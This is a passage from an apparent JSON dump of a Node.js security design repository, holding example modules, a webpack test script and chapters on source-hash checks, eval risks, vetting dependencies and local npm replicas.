\"./lib/dynamic.js\";\n    \"./index.js\" -> \"./lib/opt2.js\";\n    \"./index.js\" -> \"./lib/lazy.js\";\n    \"./package.json\" -> \"./index.js\";\n    \"./package.json\" [fillcolor=black,fontcolor=white,style=filled];\n}\n"
  },
  {
    "path": "chapter-2/example/index.js",
    "content": "/**\n * @license\n * Copyright 2017 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n// index.js\n// Example that tests various kinds of loads.\n\nlet staticLoad = require('./lib/static');\nfunction dynamicLoad(f, x) {\n  return f('./lib/' + x);\n}\ndynamicLoad(require, Math.random() < 2 ? 'dynamic' : 'bogus');\nexports.lazyLoad = () => require('./lib/lazy');\n\n// Fallback to alternatives\nrequire(['./lib/opt1', './lib/opt2'].find(\n    (name) => {\n      try {\n        require.resolve(name);\n        return true;\n      } catch (_) {\n        return false;\n      }\n    }));\n"
  },
  {
    "path": "chapter-2/example/lib/dynamic.js",
    "content": "/**\n * @license\n * Copyright 2017 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n// lib/dynamic.js\n\nexports.x = 'dynamic';\n"
  },
  {
    "path": "chapter-2/example/lib/lazy.js",
    "content": "/**\n * @license\n * Copyright 2017 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n// lib/lazy.js\n\nexports.x = 'lazy';\n"
  },
  {
    "path": "chapter-2/example/lib/opt2.js",
    "content": "/**\n * @license\n * Copyright 2017 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n// lib/opt2.js\n\nexports.x = 'opt2';\n"
  },
  {
    "path": "chapter-2/example/lib/static.js",
    "content": "/**\n * @license\n * Copyright 2017 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n// lib/static.js\n\nexports.x = 'static';\n"
  },
  {
    "path": "chapter-2/example/make_dep_graph.sh",
    "content": "#!/bin/bash\n\n# Copyright 2017 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nset -e\n\ncd \"$(dirname \"$0\")\"\n\nmkdir -p graphs\n(\n    echo 'digraph Modules {'\n\n    # Run the tests and filter the logs for log entries from our\n    # hacked Module._load.\n    # Also relativize source file paths.\n    NODE=/Users/msamuel/work/node/out/Release/node \\\n    PATH=\"/Users/msamuel/work/node/out/Release/:$PATH\" \\\n    ./node_modules/.bin/mocha 2>&1 \\\n    | perl -ne 's/\"$ENV{PWD}/\"./g; if (s/^REQUIRE_LOG_DOT://) { print $_; } else { print STDERR $_; }'\n\n    # Add an edge from package.json to the main module.\n    echo '    \"./package.json\" -> \"./index.js\";'\n    echo '    \"./package.json\" [fillcolor=black,fontcolor=white,style=filled];'\n    echo '}'\n) > graphs/full.dot\n\npython -c '\nimport re\nimport sys\n\nEDGE_RE = re.compile(r\"\"\"^ *(\\\"(?:[^\\\"\\\\]|\\\\.)*\\\") -> (\\\"(?:[^\\\"\\\\]|\\\\.)*\\\");$\"\"\")\nGRAPH_END_RE = re.compile(r\"^ *\\}\")\n\nedges = {}\ndef add_edge(src, tgt):\n  tgts = edges.get(src)\n  if tgts is None:\n    tgts = []\n    edges[src] = tgts\n  tgts.append(tgt)\n\nfor line in sys.stdin:\n  edges_match = EDGE_RE.match(line)\n  if edges_match is not None:\n    add_edge(edges_match.group(1), edges_match.group(2))\n    continue\n  elif GRAPH_END_RE.match(line):\n    reachable = set()\n    def find_reachable(src):\n      if src not in reachable:\n        reachable.add(src)\n        for tgt in edges.get(src, ()):\n          find_reachable(tgt)\n    find_reachable(\"\\\"./package.json\\\"\")\n    reachable = list(reachable)\n    reachable.sort()\n    for src in reachable:\n      for tgt in edges.get(src, ()):\n        print \"    %s -> %s;\" % (src, tgt)\n  print line,\n' < graphs/full.dot > graphs/filtered.dot\n\nfor graph in full filtered; do\n    dot -Tsvg graphs/\"$graph\".dot > graphs/\"$graph\".svg\ndone\n\n# Start walking from package.json\n\n"
  },
  {
    "path": "chapter-2/example/package.json",
    "content": "{\n    \"name\": \"dynamism-example\",\n    \"private\": true,\n    \"description\": \"Example code that shows dynamically walking the test graph\",\n    \"main\": \"index.js\",\n    \"scripts\": {\n        \"test\": \"echo $NODE; ./node_modules/.bin/mocha\"\n    },\n    \"author\": \"Mike Samuel\",\n    \"license\": \"Apache-2.0\",\n    \"devDependencies\": {\n        \"chai\": \">=4.1.2\",\n        \"mocha\": \">=4.0.1\"\n    }\n}\n"
  },
  {
    "path": "chapter-2/example/test/test.js",
    "content": "/**\n * @license\n * Copyright 2017 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n// test/test.js\n\nvar expect = require(\"chai\").expect;\nvar app = require(\"../index\");\n\ndescribe(\"My TestSuite\", () => {\n  describe(\"A test\", () => {\n    it(\"A unittest\", () => {\n      // Exercise the API\n      app.lazyLoad();\n    });\n  });\n});\n"
  },
  {
    "path": "chapter-2/experiments/webpack-compat/.gitignore",
    "content": "dist\nnode_modules"
  },
  {
    "path": "chapter-2/experiments/webpack-compat/goodbye.js",
    "content": "/**\n * @license\n * Copyright 2017 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nexports.say = x => console.log(`Goodbye, ${x}!`);\n"
  },
  {
    "path": "chapter-2/experiments/webpack-compat/hello.js",
    "content": "/**\n * @license\n * Copyright 2017 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nexports.say = x => console.log(`Hello, ${x}!`);\n"
  },
  {
    "path": "chapter-2/experiments/webpack-compat/index.js",
    "content": "/**\n * @license\n * Copyright 2017 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvar metadata = require('./package.json');\nvar greeting = require('./' + metadata.greeting);\n\ngreeting.say('World');\n"
  },
  {
    "path": "chapter-2/experiments/webpack-compat/package.json",
    "content": "{\n  \"name\": \"webpack-compat-experiment\",\n  \"description\": \"Figuring out how well webpack deals with dynamic loads\",\n  \"version\": \"0.0.0\",\n  \"main\": \"index.js\",\n  \"dependencies\": {},\n  \"scripts\": {},\n  \"author\": \"Mike Samuel\",\n  \"license\": \"Apache-2.0\",\n  \"greeting\": \"hello\",\n  \"devDependencies\": {\n    \"webpack\": \"^3.10.0\"\n  }\n}\n"
  },
  {
    "path": "chapter-2/experiments/webpack-compat/test/test.js",
    "content": "/**\n * @license\n * Copyright 2017 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nconsole.log('test/test.js: NOT PRODUCTION CODE');\n"
  },
  {
    "path": "chapter-2/experiments/webpack-compat/test-utils.js",
    "content": "/**\n * @license\n * Copyright 2017 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nexports.doSomethingScaryButItsOkInTest = function() {\n    throw new Error('test-utils.js: NOT PRODUCTION CODE');\n};\n"
  },
  {
    "path": "chapter-2/experiments/webpack-compat/test.sh",
    "content": "echo <<LICENSE\n// Copyright 2017 Google LLC\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//     https://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\nLICENSE\n\necho <<POLYGLOT\n/*\n\nThis file is both a syntactically valid JS file and a bash file\nso that we can test webpack in its minimal configuration.\nIn its minimal configuration, webpack tries to bundle this file.\n\nYou may run this file via\n\n$ bash test.sh\n\nThe rest of this is visible to a shell interpreter but not when\nwebpack mysteriously decides to load this as a JavaScript file.\nPOLYGLOT\n\nset -e\n\npushd \"$(dirname \"$0\")\"\n\necho Bundling\nrm -f dist/bundle.js\n./node_modules/.bin/webpack\n\necho\necho Running bundle\nif node dist/bundle.js 2>&1 | grep -q 'Hello, World!'; then\n    echo 'Ran ok'\nelse\n    echo 'Failed to bundle dependency'\nfi\n\necho\necho Looking for non production code\nif grep -Hn 'NOT PRODUCTION CODE' dist/bundle.js; then\n    echo 'Webpack bundled test code in its minimal configuration'\n    false\nfi\n\n# */\n"
  },
  {
    "path": "chapter-2/experiments/webpack-compat/webpack.config.js",
    "content": "const path = require('path');\n\nmodule.exports = {\n    output: {\n        path: path.resolve('./dist'),\n        filename: 'bundle.js',\n    },\n    entry: path.resolve('./index.js')\n};\n"
  },
  {
    "path": "chapter-2/source-contents.md",
    "content": "# Source Content Checks\n\nThe node runtime's module loader uses the `_compile` method to actually\nturn file content into code thus:\n\n```js\n// Run the file contents in the correct scope or sandbox. Expose\n// the correct helper variables (require, module, exports) to\n// the file.\n// Returns exception, if any.\nModule.prototype._compile = function(content, filename) {\n  content = internalModule.stripShebang(content);\n\n  // create wrapper function\n  var wrapper = Module.wrap(content);\n\n  var compiledWrapper = vm.runInThisContext(wrapper, {\n```\n\nAt the top of that method body, we can check that the content\nis on a list of production sources.\n\nThe entire process looks like:\n\n1.  Developer develops and tests their app iteratively as normal.\n2.  The developer generates a list of production sources via the\n    dynamic bundling scheme outlined earlier, a static tool like\n    webpack, or some combination.\n3.  The bundling tool generates a file with a cryptographic hash\n    for each production source.\n    We prefer hashing to checking paths for reasons that will become\n    apparent later when we discuss `eval`.\n4.  A deploy script copies the bundle and the hashes to a production server.\n5.  The server startup script passes a flag to `node` or `npm start`\n    telling the runtime where to look for the production source hashes.\n6.  The runtime reads the hashes and combines it with any hashes necessary\n    to whitelist any `node` internal JavaScript files that might load\n    via `require`.\n7.  When a call to `require(x)` reaches `Module.prototype.compile`\n    it hashes `content` and checks that the hash is in the allowed set.\n    If not, it logs that and, if not in report-only-mode,\n    raises an exception.\n8.  Normal log collecting and monitoring communicates failures\n    to the development team.\n\nThis is similar to [Content-Security-Policy (CSP)][csp] but for\nserver-side code.  Like CSP, there is an intermediate step that might\nbe useful between no enforcement and full enforcement:\n[report only mode][].\n\n[CSP]: https://developers.google.com/web/fundamentals/security/csp/\n[report only mode]: https://developers.google.com/web/fundamentals/security/csp/#report-only\n"
  },
  {
    "path": "chapter-2/synthetic-modules.md",
    "content": "# Statically eliminating `eval`\n\nPug provides a flexible API to load Pug templates from `.pug` files\nthat `eval`s the generated code ([code][pug-eval]),\nand a command line interface for precompiling Pug files.\n\nLet's ignore those and imagine ways to allow a Pug user to\ncompile a Pug template that makes the static nature apparent\neven to an analysis which doesn't make assumptions about the\ncontents of `.pug` files.\n\n```js\nconst pug = require('pug');\n\nexports.myTemplate = pug.lang`\ndoctype html\nhtml\n  head\n    ...`;\n```\n\nThis code snippet uses a [tagged template literal][] to allow Pug\ntemplate code to appear inline in a JavaScript file.\n\nRather than loading a `.pug` file, we have declared it in JavaScript.\n\nImagine further that `pug.lang` runs the compiler, but instead of\nusing `new Function(...)` it uses some new module API\n\n```js\nrequire.synthesize(generatedCode)\n```\n\nwhich could manufacture a `Module` instance with the generated code and\ninstall the module into the cache with the input hash as its filename.\n\nWhen [bundling](bundling.md), we could dump the content of synthesized\nmodules, and, when the bundle loads in production, pre-populate\nthe module cache.  When the `pug.lang` implementation asks the\nmodule loader to create a module with the content between\n<code>&#96;...&#96;</code> it would find a resolved module ready but not\nloaded.  If a module is already in the cache, `Module` skips the\nadditional content checks.\n\nThe Node runtime function, `makeRequireFunction`\n([code][makeRequireFunction]), defines a `require` for each module\nthat loads modules with the current module as the parent.  That would\nalso have to define a module specific `require.synthesize` that does\nsomething like:\n\n```js\n  function synthesize(content) {\n    content = String(content);\n    // Hashing gives us a stable identifier so that we can associate\n    // code inlined during bundling with that loaded in production.\n    const hash = crypto\n        .createHash('sha512')\n        .update(content, 'utf8')\n        .digest();\n    // A name that communicates the source while being\n    // unambiguous with any actual file.\n    const filename = '/dev/null/synthetic/' + hash;\n    // We scope the identifier so that it is clear in\n    // debugging trace that the module is synthetic and\n    // to avoid leading existing tools to conclude that\n    // it is available via registry.npmjs.org.\n    const id = '@node-internal-synthetic/' + hash;\n    const cache = Module._cache;\n    let syntheticModule = cache[filename];\n    if (syntheticModule) {\n      // TODO: updateChildren(mod, syntheticModule, true);\n    } else {\n      cache[filename] = syntheticModule = new Module(id, mod);\n      syntheticModule.loaded = true;\n      syntheticModule._compile(content, filename);\n    }\n    // TODO: dump the module if the command line flags specify\n    // a synthetic_node_modules/ output directory.\n    return syntheticModule;\n  }\n\n  require.synthesize = synthesize;\n```\n\nStatic analysis tools often benefit from having a whole program\navailable.  Humans can reason about external files, like `.pug` files,\nbut static analysis tools often have to be unsound, or assume the\nworst.  Synthetic modules may provide a way to move a large chunk of\npreviously unanalyzable code into the domain of what static analysis\ntools can check.\n\nThis scheme, might be more discoverable if code generator authors\nadopted some conventions:\n\n*  If a module defines `exports.lang` it should be usable as a\n   template tag.\n*  If that same function is called with an option map instead\n   of as a template tag function, then it should return a function\n   to enable usages like\n   ```js\n   pug.lang(myPugOptionMap)`\n     doctype html\n     ...`\n   ```\n*  If the first line starts with some whitespace, all subsequent\n   lines have that same whitespace as a prefix, and the language\n   is whitespace-sensitive, then strip it before processing.\n   This would allow indenting inline DSLs within a larger\n   JavaScript program.\n\nWe discuss template tag usability concerns in more detail later when\ndiscussing [library tweaks][library].\n\nThis proposal has one major drawback: we still have to trust the code\ngenerator.  Pug's code generator looks well structured, but reasoning\nabout all the code produced by a code generator is harder than\nreasoning about one hand-written module.  The [frozen realms][] proposal\nrestricts code to a provided API like\n`vm.runInNewContext` aimed to.  If Pug, for example, chose to load its\ncode in a sandbox, then checking just the provided context would give\nus confidence about what generated code could do.  In some cases, we\nmight be able to move code generator outside the\n[*trusted computing base*][TCB].\n\n[tagged template literal]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals#Tagged_template_literals\n[pug-eval]: https://github.com/pugjs/pug/blob/926f7c720112cac76cfedb003e25e9f43d3a1767/packages/pug/lib/index.js#L261-L263\n[library]: ../chapter-7/libraries.md\n[makeRequireFunction]: https://github.com/nodejs/node/blob/8f5040771475ca5435b6cb78ab2ebce7447afcc1/lib/internal/module.js#L5\n[frozen realms]: https://github.com/tc39/proposal-frozen-realms\n[TCB]: https://en.wikipedia.org/wiki/Trusted_computing_base\n"
  },
  {
    "path": "chapter-2/what-about-eval.md",
    "content": "# What about `eval`?\n\nPreviously we've talked about how to control what code loads\nfrom the file system, but not what code loads from strings.\n\nThe rest of this discussion uses the term \"`eval`\" to refer to any of\nthe `eval` operator, the `eval` function, `new Function`,\n`vm.runIn*Context`, `vm.Script.run*`, [`WebAssembly.compile`][]\nand other operators that convert strings or bytes into code.\n\nRecall that it is difficult to prove that code\n[does not `eval`](../chapter-1/threat-RCE.md):\n\n```js\nvar x = {},\n    a = 'constructor',\n    b = 'constructor',\n    s = 'console.log(s)';\nx[a][b](s)();\n```\n\nSome node projects deploy with a tweaked node runtime that turns off\nsome `eval` operators, but there are widely used npm modules that use\nthem carefully.  For example:\n\n*  [Pug][]  generates HTML from templates.\n*  [Mathjs][] evaluates closed-form mathematical expressions.\n\nBoth generate JavaScript code under the hood, which is dynamically\nparsed.  Let's consider two use cases:\n\n*  Pug's code generator is usually called with trusted inputs, e.g.\n   `.pug` files authored by trusted developers.\n*  Mathjs is often called with untrusted inputs.  If a developer\n   wanted to let a user generate an ad-hoc report without having to\n   download data into a spreadsheet, they might use Mathjs to parse\n   user-supplied arithmetic expressions ([docs][more_secure_eval])\n   instead of trying to check that an input is safe to `eval` via\n   `RegExp`s.  It is not without risk ([advisory][adv552])\n   though [^1].\n\nThese two uses of code generators fall at either end of a spectrum.\nThe uses of Pug seem static, all the information is available before\nwe deploy.  Our Mathjs use case is necessarily dynamic since the\ninput is not available until a user is in the loop.\n\nNext we discuss ways to recognize and simplify the former, while\ndouble-checking the latter.  On the client, we have no options between\nallowing implicit `eval` and banning all uses of `eval`.  There are\nfewer compelling use cases on the client since it is harder to\namortize code generation over multiple requests.  On the server, use\nof `eval` in the presence of untrusted inputs still needs to be\ncarefully vetted.  We explore ways to programatically enforce vetting\ndecisions short of a blanket ban, but turning off `eval` before\naccepting untrusted inputs is still the most reliable way to prevent\nattackers from using `eval` against you.\n\n[^1]: Since this writing, [Mathjs got rid of all uses of `eval`][no-eval-issue]\n\n\n[`WebAssembly.compile`]: http://webassembly.org/docs/js/#webassemblycompile\n[Pug]: https://pugjs.org/\n[Mathjs]: http://mathjs.org/\n[more_secure_eval]: http://mathjs.org/examples/advanced/more_secure_eval.js.html\n[adv552]: https://nodesecurity.io/advisories/552\n[no-eval-issue]: https://github.com/josdejong/mathjs/issues/1019#issuecomment-367289278\n"
  },
  {
    "path": "chapter-3/knowing_dependencies.md",
    "content": "# Knowing your dependencies\n\n## Background\n\n[`npmjs` search results][npmjs/node] have stats on download count and\nopen issues and PRs.\n\n<img alt=\"npmjs.com stats for module node\" src=\"../images/npmjs-node.png\" height=\"399\" width=\"230\">\n\nEach package page also links to the corresponding GitHub project\nwhich has links to the project's [pulse][github-pulse].\n\nBoth of these give an idea of how popular the project is, and\nwhether it's actively developed.\n\nOn their Github pages, many projects proudly display\n[badges and shields][] indicating their continuous integration status,\nand other vital statistics.\n\nThe Linux Core Infrastructure project espouses a set of\n[best practices badges][bpb] and define tiers for mature infrastructure\nprojects.  We get some of the basic items for free by distributing via\n`npm`, but other items bear on how responsive the project might be to\nvulnerability reports and how it might respond to attempts to inject\nmalicious code:\n\n*  Another will have the necessary access rights if someone dies\n*  Monitor external dependencies to detect/fix known vulnerabilities\n*  At least 2 unassociated significant contributors\n*  Use 2FA\n*  At least 50% of all modifications are reviewed by another\n*  Have a security review (internal or external)\n\n\"Use 2FA\" is possible with npm but it is not clear that it is widely\npracticed.  [MTP][] discusses the support already built into Github\nand `npm profile`.\n\n\n## Problem\n\nThreats: [LQC][] [MTP][]\n\nThe npm repository, like other open-source code repositories,\ncontains mature and well-maintained modules, but also plenty of\nbleeding-edge code that has not yet had bugs ironed out.\n\nA wise technical lead might decide that they can use third-party\ndependencies that have been widely used in production for several\nyears by projects with similar needs since gross errors are likely\nto have been fixed.\n\nThat technical lead might also decide that they can use bleeding edge\ncode when they have enough local expertise to vet it, identify\ncorner-cases they need to check, and fix any gross errors they\nencounter.\n\nEither way, that decision to use bleeding-edge code or code that might\nnot be maintained over the long term should be a conscious one.\n\n\n## Success Criteria\n\nDevelopment teams are rarely surprised when code that they had built a\nprototype on later turns out not to be ready for production use, and\nthey do not have to pore over others' code to vet many dependencies.\n\n## A Possible Solution\n\nThe building blocks of a solution probably already exist.\n\n### Aggregate more signals\n\n`npmjs.com` may or may not be the right place to do this, but we\nshould, as a community, aggregate signals about modules and make\nthem readily available.\n\n`npmjs.com/package` already aggregates some useful signals, but\nit or another forum could aggregate more including\n\n-  More of the GitHub pulse information including\n   closed issues, PRs over time.\n-  Relevant badges & shields for the project itself.\n-  Relevant badges & shields by percentage of transitive\n   dependencies and peer dependencies that have them.\n-  Support channels, e.g. slack & discord.\n-  Vulnerability reports and the version they affect.\n   See sources in [\"When all else fails\"][failing]\n-  Weighted mean of age of production dependencies transitively.\n-  Results of linters (see [oversight][]) run without respecting\n   [inline ignore comments][eslint-ignore-line] and\n   [file ignore directives][eslint-ignore-file].\n\nUsers deciding whether to buy something from an online store or\ndownload a cellphone app from an app store have reviews\nand comments from other users.  That members of the community take\ntime to weigh in can be a useful signal, and the details can help\nclarify whether this module or an alternative might be better for a\nspecific use.\n\nLarge organizations who host [internal replicas][] may already have a\nlot of the opinion available internally, but aggregating that across\nclients can help smaller organizations and large organizations\nthat are debating whether to dip their toe in.\n\n\n### Leadership & Developer outreach\n\nThe node runtime already [passes][CI-node] the Linux Foundation's best\npractices criteria, but could lead the way by explaining how a project\nthat pushes from GitHub to `registry.npmjs.org` can pass more of these\ncriteria.\n\n\n[npmjs/node]: https://www.npmjs.com/package/node\n[github-pulse]: https://github.com/blog/1476-get-up-to-speed-with-pulse\n[badges and shields]: https://github.com/badges/shields\n[bpb]: https://github.com/coreinfrastructure/best-practices-badge\n[internal replicas]: ../chapter-4/close_dependencies.md\n[failing]: ../chapter-6/failing.md\n[CRY]: ../chapter-1/threat-CRY.md\n[LQC]: ../chapter-1/threat-LQC.md\n[MTP]: ../chapter-1/threat-MTP.md\n[oversight]: ../chapter-5/oversight.md\n[eslint-ignore-line]: https://eslint.org/docs/user-guide/configuring#disabling-rules-with-inline-comments\n[eslint-ignore-file]: https://eslint.org/docs/user-guide/configuring#ignoring-files-and-directories\n[CI-node]: https://bestpractices.coreinfrastructure.org/projects?gteq=50&q=Node.js\n"
  },
  {
    "path": "chapter-4/close_dependencies.md",
    "content": "# Keeping your dependencies close\n\n## Background\n\nWhen deploying an application or service, many projects run `npm\ninstall` which can cause problems.  [James Shore][] discusses the\nproblem and several solutions, none of which are ideal.\n\n*  Network trouble reaching `registry.npmjs.org` becomes a single\n   point of failure.\n*  An extra `npm shrinkwrap` step is necessary to ensure that\n   the versions used during testing are the same as the versions\n   deployed (Shore's analysis predates [package locks][]), or\n*  Developers check `node_modules` into revision control which\n   may include architecture-specific binaries.\n*  Local changes may be silently lost when re-installed on a dev\n   machine or on upgrade.\n\nMany organizations use tools to manage a local replica.\n\n*  [npm Enterprise][] is a full-featured single-tenant implementation\n   of the npm registry and website, created by npm, Inc.\n*  npm can be [configured to use a different registry][] by setting\n   the `registry` npm configuration option.  Once dependencies have\n   been cached locally the first time, the `--offline` npm option will\n   prevent fetching anything new from the network.\n*  [Artifactory][] is a language agnostic dependency manager that\n   supports Node.\n*  [Sinopia][] is a Node specific repository server.\n*  [Verdaccio][] is fork of Sinopia.\n*  [Yarn][] is a package manager backed by the same\n   <https://registry.npmjs.org> but which can be pointed at an\n   [offline mirror][].  The offline mirror can have multiple tarballs\n   per module to deal with architecture specific builds.  Its\n   `--offline` mode prevents falling back to central, though does not\n   prevent network fetches by module scripts.\n\nNode's security working group has a [process][security-wg process] for\nmanaging vulnerabilities in third-party code.\n\n## Problem\n\nThreats: [0DY][] [MTP][]\n\nSecurity teams needs to match vulnerability reports with projects that\nuse affected modules so that they can respond to [zero days][0DY].\nCentralizing module installation allows them to figure out whether a\nreport affects a module.\n\nLarge organizations with dedicated security specialists need to be\nable to locally patch security issues or critical bugs and push to\nproduction without waiting for upstream to push a new version.  When\nsomeone in the organization discovers a vulnerability in a third-party\nmodule, they should disclose it to the third-party maintainer, but\nthey should not wait before protecting end users who would be at risk\nif an attacker independently discovered the same vulnerability.\n\n## Success Criteria\n\nWe can have a reliable pipeline from the central repository,\nthrough local repositories and to deployed services if:\n\n*  A failure in `registry.npmjs.org` does not lead to compromise or\n   denial of service by `npm install` during deployment, and/or\n*  `npm install` is not necessary for deployment.\n\nand\n\n*  access to `registry.npmjs.org` is not necessary to publish\n   a patch to an open source module as seen within an\n   organization.\n\nand\n\n*  installing or deploying a module locally cannot abuse publish\n   privileges, and/or\n*  an organization can limit its exposure to compromise of\n   `registry.npmjs.org`, and ideally vice-versa.\n\nand\n\n*  installation scripts only affect `node_modules` so cannot\n   compromise local repositories, abuse commit privileges,\n   or plant [trojans][trojan].\n\n\n## Existing solutions\n\nHaving a local replica simplifies deploying targeted patches to\naffected projects.  When responding, security specialists might\ndevelop a patch before upstream.  They may be able to take into\naccount how their products use the module to produce a targeted patch\nfaster than upstream maintainers who have greater or\nless-well-understood backwards compatibility constraints.\n\nKeeping a local replica narrows the window for [MTP][] attacks.\nSomeone trying to inject malicious code has to have it up and\navailable from `registry.npmjs.org` at the time the install script\npulls it down which is hard for an attacker to predict.  There is a\nmonoculture tradeoff &mdash; having a smaller number of versions\nacross all projects increases the potential reach of such an attack\nonce successfully executed.  Centralized monitoring and reporting\ntilts in the defenders' favor though.\n\n\n## Incident Response\n\nThere is one piece that isn't provided directly by the local replica\nproviders aboce; security responders need a way to relate\nvulnerability reports to affected projects when a [zero day][0DY]\nclock starts ticking so they can figure out whom to notify.\n\n*  If an organization shares revision control across all projects, then\n   responders can find all `package.json`s and use git commit logs to\n   identify likely points of contact.  Much of this is scriptable.\n*  If an organization archives all production bundles before deployment,\n   then tools can similarly scan archived bundles for `package.json`.\n*  If an organization has an up-to-date database of projects with\n   up-to-date links to revision control systems, then security teams\n   may be able to automate scanning as above.\n   Some managers like to have \"skunkworks\" projects that they keep\n   out of project databases.\n   Managers should be free to use codenames, but security teams need\n   to ensure that \"unlisted\" doesn't mean \"not supportable by\n   incident response.\"\n*  If none of the above work, security teams will need to maintain a\n   database so that they have it when they need it.\n   If the local replica is on a shared file system mount, then access\n   logs may be sufficient.  If not, instrumenting `yarn`, may be the\n   only option.\n\n## Managing a Local Replica\n\nIf you don't have access to a commercial solution, some tooling can\nmake it easier to transition to and maintain a local replica.\nWe assume `yarn` below, but there are free versions of others which\nmay do some of this out of the box.\n\n*  Developers' muscle memory may cause them to invoke `npm` instead of\n   `yarn` so on a developer machine `$(which npm)` run in an\n   [interactive shell][] should halt and remind the developer to use\n   `yarn` instead.  Presubmit checks should scan scripts for\n   invocations of `npm` to remind developers to use `yarn`.  It may be\n   possible to use a project specific `.npmrc` with flags that cause\n   it to dry-run or dump usage and exit, but this would affect\n   non-interactive scripts so tread carefully.\n*  A script can aid installing new modules into the local replica.\n   It should:\n\n   1. Run `yarn install --ignore-scripts` to fetch the module content\n      into a revision controlled repository\n   2. Build the module 